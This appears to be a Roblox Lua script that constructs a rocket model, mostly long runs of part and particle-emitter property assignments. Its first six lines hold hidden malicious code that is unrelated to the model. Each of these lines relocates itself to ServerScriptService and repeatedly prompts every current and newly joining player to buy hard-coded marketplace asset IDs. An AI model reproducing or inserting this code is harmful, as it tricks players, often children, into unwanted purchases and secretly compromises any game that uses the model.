- for i=1, 2 do wait "15" local wat= 4056204804 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056203184 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056201664 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056200205 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056198773 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056197320 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- end))
- MeshPart22.Name = "MainRocket"
- MeshPart22.Parent = mas
- MeshPart22.CFrame = CFrame.new(-4.80591679, 7.51202393, 26.9300385, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- MeshPart22.Orientation = Vector3.new(0, 180, 0)
- MeshPart22.Position = Vector3.new(-4.80591679, 7.51202393, 26.9300385)
- MeshPart22.Rotation = Vector3.new(-180, 0, -180)
- MeshPart22.Color = Color3.new(0.388235, 0.372549, 0.384314)
- MeshPart22.Size = Vector3.new(15, 4.55000019, 15)
- MeshPart22.Anchored = true
- MeshPart22.BrickColor = BrickColor.new("Dark stone grey")
- MeshPart22.Material = Enum.Material.Metal
- MeshPart22.brickColor = BrickColor.new("Dark stone grey")
- ParticleEmitter23.Parent = MeshPart22
- ParticleEmitter23.Speed = NumberRange.new(300, 300)
- ParticleEmitter23.Color = ColorSequence.new(Color3.new(0, 1, 1),Color3.new(1, 0.333333, 0),Color3.new(1, 0, 0))
- ParticleEmitter23.Enabled = false
- ParticleEmitter23.LightEmission = 1
- ParticleEmitter23.Texture = "rbxasset://textures/particles/explosion01_implosion_main.dds"
- ParticleEmitter23.Transparency = NumberSequence.new(0,1)
- ParticleEmitter23.Size = NumberSequence.new(0,10,0)
- ParticleEmitter23.EmissionDirection = Enum.NormalId.Bottom
- ParticleEmitter23.Lifetime = NumberRange.new(0.5, 0.5)
- ParticleEmitter23.LockedToPart = true
- ParticleEmitter23.Rate = 1000000000
- ParticleEmitter23.RotSpeed = NumberRange.new(1000000, 1000000)
- ParticleEmitter23.SpreadAngle = Vector2.new(5, 5)
- ParticleEmitter23.VelocitySpread = 5
- MeshPart24.Name = "Rocket"
- MeshPart24.Parent = mas
- MeshPart24.CFrame = CFrame.new(-17.2809219, 7.61200714, 26.9048615, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- MeshPart24.Orientation = Vector3.new(0, 180, 0)
- MeshPart24.Position = Vector3.new(-17.2809219, 7.61200714, 26.9048615)
- MeshPart24.Rotation = Vector3.new(-180, 0, -180)
- MeshPart24.Color = Color3.new(0.388235, 0.372549, 0.384314)
- MeshPart24.Size = Vector3.new(10, 3.54999995, 10)
- MeshPart24.Anchored = true
- MeshPart24.BrickColor = BrickColor.new("Dark stone grey")
- MeshPart24.CustomPhysicalProperties = 7.8499999, 0.400000006, 0.25, 1, 1
- MeshPart24.Material = Enum.Material.Metal
- MeshPart24.brickColor = BrickColor.new("Dark stone grey")
- ParticleEmitter25.Parent = MeshPart24
- ParticleEmitter25.Speed = NumberRange.new(300, 300)
- ParticleEmitter25.Color = ColorSequence.new(Color3.new(1, 0.333333, 0),Color3.new(1, 0.333333, 0),Color3.new(1, 0, 0))
- ParticleEmitter25.Enabled = false
- ParticleEmitter25.LightEmission = 1
- ParticleEmitter25.Texture = "rbxasset://textures/particles/explosion01_implosion_main.dds"
- ParticleEmitter25.Transparency = NumberSequence.new(0,1)
- ParticleEmitter25.Size = NumberSequence.new(10,0)
- ParticleEmitter25.EmissionDirection = Enum.NormalId.Bottom
- ParticleEmitter25.Lifetime = NumberRange.new(0.5, 0.5)
- ParticleEmitter25.LockedToPart = true
- ParticleEmitter25.Rate = 1000000000
- ParticleEmitter25.RotSpeed = NumberRange.new(1000000, 1000000)
- ParticleEmitter25.SpreadAngle = Vector2.new(5, 5)
- ParticleEmitter25.VelocitySpread = 5
- MeshPart26.Name = "Rocket"
- MeshPart26.Parent = mas
- MeshPart26.CFrame = CFrame.new(-4.80597782, 7.61200714, 39.3800049, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- MeshPart26.Orientation = Vector3.new(0, -90, 0)
- MeshPart26.Position = Vector3.new(-4.80597782, 7.61200714, 39.3800049)
- MeshPart26.Rotation = Vector3.new(0, -90, 0)
- MeshPart26.Color = Color3.new(0.388235, 0.372549, 0.384314)
- MeshPart26.Size = Vector3.new(10, 3.54999995, 10)
- MeshPart26.Anchored = true
- MeshPart26.BrickColor = BrickColor.new("Dark stone grey")
- MeshPart26.CustomPhysicalProperties = 7.8499999, 0.400000006, 0.25, 1, 1
- MeshPart26.Material = Enum.Material.Metal
- MeshPart26.brickColor = BrickColor.new("Dark stone grey")
- ParticleEmitter27.Parent = MeshPart26
- ParticleEmitter27.Speed = NumberRange.new(300, 300)
- ParticleEmitter27.Color = ColorSequence.new(Color3.new(1, 0.333333, 0),Color3.new(1, 0.333333, 0),Color3.new(1, 0, 0))
- ParticleEmitter27.Enabled = false
- ParticleEmitter27.LightEmission = 1
- ParticleEmitter27.Texture = "rbxasset://textures/particles/explosion01_implosion_main.dds"
- ParticleEmitter27.Transparency = NumberSequence.new(0,1)
- ParticleEmitter27.Size = NumberSequence.new(10,0)
- ParticleEmitter27.EmissionDirection = Enum.NormalId.Bottom
- ParticleEmitter27.Lifetime = NumberRange.new(0.5, 0.5)
- ParticleEmitter27.LockedToPart = true
- ParticleEmitter27.Rate = 1000000000
- ParticleEmitter27.RotSpeed = NumberRange.new(1000000, 1000000)
- ParticleEmitter27.SpreadAngle = Vector2.new(5, 5)
- ParticleEmitter27.VelocitySpread = 5
- Part28.Parent = mas
- Part28.CFrame = CFrame.new(-12.105691, 89.8364487, 26.9299927, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part28.Orientation = Vector3.new(0, 0, -90)
- Part28.Position = Vector3.new(-12.105691, 89.8364487, 26.9299927)
- Part28.Rotation = Vector3.new(0, 0, -90)
- Part28.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part28.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part28.Anchored = true
- Part28.BottomSurface = Enum.SurfaceType.Smooth
- Part28.BrickColor = BrickColor.new("Institutional white")
- Part28.Material = Enum.Material.DiamondPlate
- Part28.TopSurface = Enum.SurfaceType.Smooth
- Part28.brickColor = BrickColor.new("Institutional white")
- Part29.Parent = mas
- Part29.CFrame = CFrame.new(-1.15543461, 85.4364777, 33.2520447, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part29.Orientation = Vector3.new(0, 120, -90)
- Part29.Position = Vector3.new(-1.15543461, 85.4364777, 33.2520447)
- Part29.Rotation = Vector3.new(-180, 60, 90)
- Part29.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part29.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part29.Anchored = true
- Part29.BottomSurface = Enum.SurfaceType.Smooth
- Part29.BrickColor = BrickColor.new("Dark stone grey")
- Part29.Material = Enum.Material.Metal
- Part29.TopSurface = Enum.SurfaceType.Smooth
- Part29.brickColor = BrickColor.new("Dark stone grey")
- Part30.Parent = mas
- Part30.CFrame = CFrame.new(-1.15543461, 86.7867355, 33.2520447, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part30.Orientation = Vector3.new(0, 120, -90)
- Part30.Position = Vector3.new(-1.15543461, 86.7867355, 33.2520447)
- Part30.Rotation = Vector3.new(-180, 60, 90)
- Part30.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part30.Transparency = 0.80000001192093
- Part30.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part30.Anchored = true
- Part30.BottomSurface = Enum.SurfaceType.Smooth
- Part30.BrickColor = BrickColor.new("Sand blue")
- Part30.Material = Enum.Material.Glass
- Part30.TopSurface = Enum.SurfaceType.Smooth
- Part30.brickColor = BrickColor.new("Sand blue")
- Part31.Parent = mas
- Part31.CFrame = CFrame.new(-8.45560551, 85.4364243, 20.6078186, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part31.Orientation = Vector3.new(0, 120, -90)
- Part31.Position = Vector3.new(-8.45560551, 85.4364243, 20.6078186)
- Part31.Rotation = Vector3.new(-180, 60, 90)
- Part31.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part31.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part31.Anchored = true
- Part31.BottomSurface = Enum.SurfaceType.Smooth
- Part31.BrickColor = BrickColor.new("Dark stone grey")
- Part31.Material = Enum.Material.Metal
- Part31.TopSurface = Enum.SurfaceType.Smooth
- Part31.brickColor = BrickColor.new("Dark stone grey")
- Part32.Parent = mas
- Part32.CFrame = CFrame.new(-8.45557499, 83.6865692, 33.2520447, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part32.Orientation = Vector3.new(0, 60, -90)
- Part32.Position = Vector3.new(-8.45557499, 83.6865692, 33.2520447)
- Part32.Rotation = Vector3.new(0, 60, -90)
- Part32.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part32.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part32.Anchored = true
- Part32.BottomSurface = Enum.SurfaceType.Smooth
- Part32.BrickColor = BrickColor.new("Institutional white")
- Part32.Material = Enum.Material.DiamondPlate
- Part32.TopSurface = Enum.SurfaceType.Smooth
- Part32.brickColor = BrickColor.new("Institutional white")
- Part33.Parent = mas
- Part33.CFrame = CFrame.new(-11.1276293, 89.8364487, 23.2797852, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part33.Orientation = Vector3.new(0, 150, -90)
- Part33.Position = Vector3.new(-11.1276293, 89.8364487, 23.2797852)
- Part33.Rotation = Vector3.new(-180, 30, 90)
- Part33.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part33.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part33.Anchored = true
- Part33.BottomSurface = Enum.SurfaceType.Smooth
- Part33.BrickColor = BrickColor.new("Institutional white")
- Part33.Material = Enum.Material.DiamondPlate
- Part33.TopSurface = Enum.SurfaceType.Smooth
- Part33.brickColor = BrickColor.new("Institutional white")
- Part34.Parent = mas
- Part34.CFrame = CFrame.new(-8.45560551, 89.8364487, 20.6078186, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part34.Orientation = Vector3.new(0, 120, -90)
- Part34.Position = Vector3.new(-8.45560551, 89.8364487, 20.6078186)
- Part34.Rotation = Vector3.new(-180, 60, 90)
- Part34.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part34.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part34.Anchored = true
- Part34.BottomSurface = Enum.SurfaceType.Smooth
- Part34.BrickColor = BrickColor.new("Institutional white")
- Part34.Material = Enum.Material.DiamondPlate
- Part34.TopSurface = Enum.SurfaceType.Smooth
- Part34.brickColor = BrickColor.new("Institutional white")
- Part35.Parent = mas
- Part35.CFrame = CFrame.new(1.51653194, 88.0864716, 23.2797852, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part35.Orientation = Vector3.new(0, 30, -90)
- Part35.Position = Vector3.new(1.51653194, 88.0864716, 23.2797852)
- Part35.Rotation = Vector3.new(0, 30, -90)
- Part35.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part35.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part35.Anchored = true
- Part35.BottomSurface = Enum.SurfaceType.Smooth
- Part35.BrickColor = BrickColor.new("Dark stone grey")
- Part35.Material = Enum.Material.Metal
- Part35.TopSurface = Enum.SurfaceType.Smooth
- Part35.brickColor = BrickColor.new("Dark stone grey")
- Part36.Parent = mas
- Part36.CFrame = CFrame.new(-12.105691, 85.4364777, 26.9299927, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part36.Orientation = Vector3.new(0, 0, -90)
- Part36.Position = Vector3.new(-12.105691, 85.4364777, 26.9299927)
- Part36.Rotation = Vector3.new(0, 0, -90)
- Part36.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part36.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part36.Anchored = true
- Part36.BottomSurface = Enum.SurfaceType.Smooth
- Part36.BrickColor = BrickColor.new("Dark stone grey")
- Part36.Material = Enum.Material.Metal
- Part36.TopSurface = Enum.SurfaceType.Smooth
- Part36.brickColor = BrickColor.new("Dark stone grey")
- Part37.Parent = mas
- Part37.CFrame = CFrame.new(-8.45557499, 85.4364777, 33.2520447, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part37.Orientation = Vector3.new(0, 60, -90)
- Part37.Position = Vector3.new(-8.45557499, 85.4364777, 33.2520447)
- Part37.Rotation = Vector3.new(0, 60, -90)
- Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part37.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part37.Anchored = true
- Part37.BottomSurface = Enum.SurfaceType.Smooth
- Part37.BrickColor = BrickColor.new("Dark stone grey")
- Part37.Material = Enum.Material.Metal
- Part37.TopSurface = Enum.SurfaceType.Smooth
- Part37.brickColor = BrickColor.new("Dark stone grey")
- Part38.Parent = mas
- Part38.CFrame = CFrame.new(-11.1276178, 86.7867355, 30.5801086, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part38.Orientation = Vector3.new(0, 30, -90)
- Part38.Position = Vector3.new(-11.1276178, 86.7867355, 30.5801086)
- Part38.Rotation = Vector3.new(0, 30, -90)
- Part38.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part38.Transparency = 0.80000001192093
- Part38.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part38.Anchored = true
- Part38.BottomSurface = Enum.SurfaceType.Smooth
- Part38.BrickColor = BrickColor.new("Sand blue")
- Part38.Material = Enum.Material.Glass
- Part38.TopSurface = Enum.SurfaceType.Smooth
- Part38.brickColor = BrickColor.new("Sand blue")
- Part39.Parent = mas
- Part39.CFrame = CFrame.new(-11.1276178, 83.6865692, 30.5801086, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part39.Orientation = Vector3.new(0, 30, -90)
- Part39.Position = Vector3.new(-11.1276178, 83.6865692, 30.5801086)
- Part39.Rotation = Vector3.new(0, 30, -90)
- Part39.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part39.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part39.Anchored = true
- Part39.BottomSurface = Enum.SurfaceType.Smooth
- Part39.BrickColor = BrickColor.new("Institutional white")
- Part39.Material = Enum.Material.DiamondPlate
- Part39.TopSurface = Enum.SurfaceType.Smooth
- Part39.brickColor = BrickColor.new("Institutional white")
- Part40.Parent = mas
- Part40.CFrame = CFrame.new(-8.45557499, 89.8364487, 33.2520447, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part40.Orientation = Vector3.new(0, 60, -90)
- Part40.Position = Vector3.new(-8.45557499, 89.8364487, 33.2520447)
- Part40.Rotation = Vector3.new(0, 60, -90)
- Part40.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part40.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part40.Anchored = true
- Part40.BottomSurface = Enum.SurfaceType.Smooth
- Part40.BrickColor = BrickColor.new("Institutional white")
- Part40.Material = Enum.Material.DiamondPlate
- Part40.TopSurface = Enum.SurfaceType.Smooth
- Part40.brickColor = BrickColor.new("Institutional white")
- Part41.Parent = mas
- Part41.CFrame = CFrame.new(-1.15543461, 83.6865692, 33.2520447, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part41.Orientation = Vector3.new(0, 120, -90)
- Part41.Position = Vector3.new(-1.15543461, 83.6865692, 33.2520447)
- Part41.Rotation = Vector3.new(-180, 60, 90)
- Part41.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part41.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part41.Anchored = true
- Part41.BottomSurface = Enum.SurfaceType.Smooth
- Part41.BrickColor = BrickColor.new("Institutional white")
- Part41.Material = Enum.Material.DiamondPlate
- Part41.TopSurface = Enum.SurfaceType.Smooth
- Part41.brickColor = BrickColor.new("Institutional white")
- Part42.Parent = mas
- Part42.CFrame = CFrame.new(-12.105691, 83.6865692, 26.9299927, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part42.Orientation = Vector3.new(0, 0, -90)
- Part42.Position = Vector3.new(-12.105691, 83.6865692, 26.9299927)
- Part42.Rotation = Vector3.new(0, 0, -90)
- Part42.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part42.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part42.Anchored = true
- Part42.BottomSurface = Enum.SurfaceType.Smooth
- Part42.BrickColor = BrickColor.new("Institutional white")
- Part42.Material = Enum.Material.DiamondPlate
- Part42.TopSurface = Enum.SurfaceType.Smooth
- Part42.brickColor = BrickColor.new("Institutional white")
- Part43.Parent = mas
- Part43.CFrame = CFrame.new(-8.45560551, 83.6865387, 20.6078186, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part43.Orientation = Vector3.new(0, 120, -90)
- Part43.Position = Vector3.new(-8.45560551, 83.6865387, 20.6078186)
- Part43.Rotation = Vector3.new(-180, 60, 90)
- Part43.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part43.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part43.Anchored = true
- Part43.BottomSurface = Enum.SurfaceType.Smooth
- Part43.BrickColor = BrickColor.new("Institutional white")
- Part43.Material = Enum.Material.DiamondPlate
- Part43.TopSurface = Enum.SurfaceType.Smooth
- Part43.brickColor = BrickColor.new("Institutional white")
- Part44.Parent = mas
- Part44.CFrame = CFrame.new(1.51659298, 89.8364487, 30.5800781, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part44.Orientation = Vector3.new(0, 150, -90)
- Part44.Position = Vector3.new(1.51659298, 89.8364487, 30.5800781)
- Part44.Rotation = Vector3.new(-180, 30, 90)
- Part44.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part44.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part44.Anchored = true
- Part44.BottomSurface = Enum.SurfaceType.Smooth
- Part44.BrickColor = BrickColor.new("Institutional white")
- Part44.Material = Enum.Material.DiamondPlate
- Part44.TopSurface = Enum.SurfaceType.Smooth
- Part44.brickColor = BrickColor.new("Institutional white")
- Part45.Parent = mas
- Part45.CFrame = CFrame.new(-4.80555058, 85.4364777, 34.2301025, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part45.Orientation = Vector3.new(0, 90, -90)
- Part45.Position = Vector3.new(-4.80555058, 85.4364777, 34.2301025)
- Part45.Rotation = Vector3.new(-90, 90, 0)
- Part45.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part45.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part45.Anchored = true
- Part45.BottomSurface = Enum.SurfaceType.Smooth
- Part45.BrickColor = BrickColor.new("Dark stone grey")
- Part45.Material = Enum.Material.Metal
- Part45.TopSurface = Enum.SurfaceType.Smooth
- Part45.brickColor = BrickColor.new("Dark stone grey")
- Part46.Parent = mas
- Part46.CFrame = CFrame.new(-12.105691, 88.0866165, 26.9299927, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part46.Orientation = Vector3.new(0, 0, -90)
- Part46.Position = Vector3.new(-12.105691, 88.0866165, 26.9299927)
- Part46.Rotation = Vector3.new(0, 0, -90)
- Part46.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part46.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part46.Anchored = true
- Part46.BottomSurface = Enum.SurfaceType.Smooth
- Part46.BrickColor = BrickColor.new("Dark stone grey")
- Part46.Material = Enum.Material.Metal
- Part46.TopSurface = Enum.SurfaceType.Smooth
- Part46.brickColor = BrickColor.new("Dark stone grey")
- Part47.Parent = mas
- Part47.CFrame = CFrame.new(1.46654415, 83.6865387, 23.1932678, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part47.Orientation = Vector3.new(0, 30, -90)
- Part47.Position = Vector3.new(1.46654415, 83.6865387, 23.1932678)
- Part47.Rotation = Vector3.new(0, 30, -90)
- Part47.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part47.Size = Vector3.new(3.4000001, 0.200000003, 3.80000019)
- Part47.Anchored = true
- Part47.BottomSurface = Enum.SurfaceType.Smooth
- Part47.BrickColor = BrickColor.new("Institutional white")
- Part47.Material = Enum.Material.DiamondPlate
- Part47.TopSurface = Enum.SurfaceType.Smooth
- Part47.brickColor = BrickColor.new("Institutional white")
- Part48.Parent = mas
- Part48.CFrame = CFrame.new(-4.80555058, 83.6865387, 19.6297913, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part48.Orientation = Vector3.new(0, 90, -90)
- Part48.Position = Vector3.new(-4.80555058, 83.6865387, 19.6297913)
- Part48.Rotation = Vector3.new(-90, 90, 0)
- Part48.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part48.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part48.Anchored = true
- Part48.BottomSurface = Enum.SurfaceType.Smooth
- Part48.BrickColor = BrickColor.new("Institutional white")
- Part48.Material = Enum.Material.DiamondPlate
- Part48.TopSurface = Enum.SurfaceType.Smooth
- Part48.brickColor = BrickColor.new("Institutional white")
- Part49.Parent = mas
- Part49.CFrame = CFrame.new(1.51653194, 89.8364487, 23.2797852, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part49.Orientation = Vector3.new(0, 30, -90)
- Part49.Position = Vector3.new(1.51653194, 89.8364487, 23.2797852)
- Part49.Rotation = Vector3.new(0, 30, -90)
- Part49.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part49.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part49.Anchored = true
- Part49.BottomSurface = Enum.SurfaceType.Smooth
- Part49.BrickColor = BrickColor.new("Institutional white")
- Part49.Material = Enum.Material.DiamondPlate
- Part49.TopSurface = Enum.SurfaceType.Smooth
- Part49.brickColor = BrickColor.new("Institutional white")
- Part50.Parent = mas
- Part50.CFrame = CFrame.new(-11.1276178, 85.4364777, 30.5801086, 0, 0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, 0.866025388)
- Part50.Orientation = Vector3.new(0, 30, -90)
- Part50.Position = Vector3.new(-11.1276178, 85.4364777, 30.5801086)
- Part50.Rotation = Vector3.new(0, 30, -90)
- Part50.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part50.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part50.Anchored = true
- Part50.BottomSurface = Enum.SurfaceType.Smooth
- Part50.BrickColor = BrickColor.new("Dark stone grey")
- Part50.Material = Enum.Material.Metal
- Part50.TopSurface = Enum.SurfaceType.Smooth
- Part50.brickColor = BrickColor.new("Dark stone grey")
- Part51.Parent = mas
- Part51.CFrame = CFrame.new(-4.80555058, 83.6614838, 34.2301025, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part51.Orientation = Vector3.new(0, 90, -90)
- Part51.Position = Vector3.new(-4.80555058, 83.6614838, 34.2301025)
- Part51.Rotation = Vector3.new(-90, 90, 0)
- Part51.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part51.Size = Vector3.new(3.45000005, 0.200000003, 4)
- Part51.Anchored = true
- Part51.BottomSurface = Enum.SurfaceType.Smooth
- Part51.BrickColor = BrickColor.new("Institutional white")
- Part51.Material = Enum.Material.DiamondPlate
- Part51.TopSurface = Enum.SurfaceType.Smooth
- Part51.brickColor = BrickColor.new("Institutional white")
- Part52.Parent = mas
- Part52.CFrame = CFrame.new(-1.15546131, 89.8364487, 20.6077881, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part52.Orientation = Vector3.new(0, 60, -90)
- Part52.Position = Vector3.new(-1.15546131, 89.8364487, 20.6077881)
- Part52.Rotation = Vector3.new(0, 60, -90)
- Part52.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part52.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part52.Anchored = true
- Part52.BottomSurface = Enum.SurfaceType.Smooth
- Part52.BrickColor = BrickColor.new("Institutional white")
- Part52.Material = Enum.Material.DiamondPlate
- Part52.TopSurface = Enum.SurfaceType.Smooth
- Part52.brickColor = BrickColor.new("Institutional white")
- Part53.Parent = mas
- Part53.CFrame = CFrame.new(2.49462032, 89.8364487, 26.9299316, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part53.Orientation = Vector3.new(0, 0, -90)
- Part53.Position = Vector3.new(2.49462032, 89.8364487, 26.9299316)
- Part53.Rotation = Vector3.new(0, 0, -90)
- Part53.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part53.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part53.Anchored = true
- Part53.BottomSurface = Enum.SurfaceType.Smooth
- Part53.BrickColor = BrickColor.new("Institutional white")
- Part53.Material = Enum.Material.DiamondPlate
- Part53.TopSurface = Enum.SurfaceType.Smooth
- Part53.brickColor = BrickColor.new("Institutional white")
- Part54.Parent = mas
- Part54.CFrame = CFrame.new(-1.15543461, 88.0866165, 33.2520447, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part54.Orientation = Vector3.new(0, 120, -90)
- Part54.Position = Vector3.new(-1.15543461, 88.0866165, 33.2520447)
- Part54.Rotation = Vector3.new(-180, 60, 90)
- Part54.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part54.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part54.Anchored = true
- Part54.BottomSurface = Enum.SurfaceType.Smooth
- Part54.BrickColor = BrickColor.new("Dark stone grey")
- Part54.Material = Enum.Material.Metal
- Part54.TopSurface = Enum.SurfaceType.Smooth
- Part54.brickColor = BrickColor.new("Dark stone grey")
- Part55.Parent = mas
- Part55.CFrame = CFrame.new(-1.15543461, 89.8364487, 33.2520447, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part55.Orientation = Vector3.new(0, 120, -90)
- Part55.Position = Vector3.new(-1.15543461, 89.8364487, 33.2520447)
- Part55.Rotation = Vector3.new(-180, 60, 90)
- Part55.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part55.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part55.Anchored = true
- Part55.BottomSurface = Enum.SurfaceType.Smooth
- Part55.BrickColor = BrickColor.new("Institutional white")
- Part55.Material = Enum.Material.DiamondPlate
- Part55.TopSurface = Enum.SurfaceType.Smooth
- Part55.brickColor = BrickColor.new("Institutional white")
- Part56.Parent = mas
- Part56.CFrame = CFrame.new(1.51659298, 86.7867355, 30.5800781, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part56.Orientation = Vector3.new(0, 150, -90)
- Part56.Position = Vector3.new(1.51659298, 86.7867355, 30.5800781)
- Part56.Rotation = Vector3.new(-180, 30, 90)
- Part56.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part56.Transparency = 0.80000001192093
- Part56.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part56.Anchored = true
- Part56.BottomSurface = Enum.SurfaceType.Smooth
- Part56.BrickColor = BrickColor.new("Sand blue")
- Part56.Material = Enum.Material.Glass
- Part56.TopSurface = Enum.SurfaceType.Smooth
- Part56.brickColor = BrickColor.new("Sand blue")
- Part57.Parent = mas
- Part57.CFrame = CFrame.new(-4.80555058, 86.7865067, 19.6297913, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part57.Orientation = Vector3.new(0, 90, -90)
- Part57.Position = Vector3.new(-4.80555058, 86.7865067, 19.6297913)
- Part57.Rotation = Vector3.new(-90, 90, 0)
- Part57.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part57.Transparency = 0.80000001192093
- Part57.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part57.Anchored = true
- Part57.BottomSurface = Enum.SurfaceType.Smooth
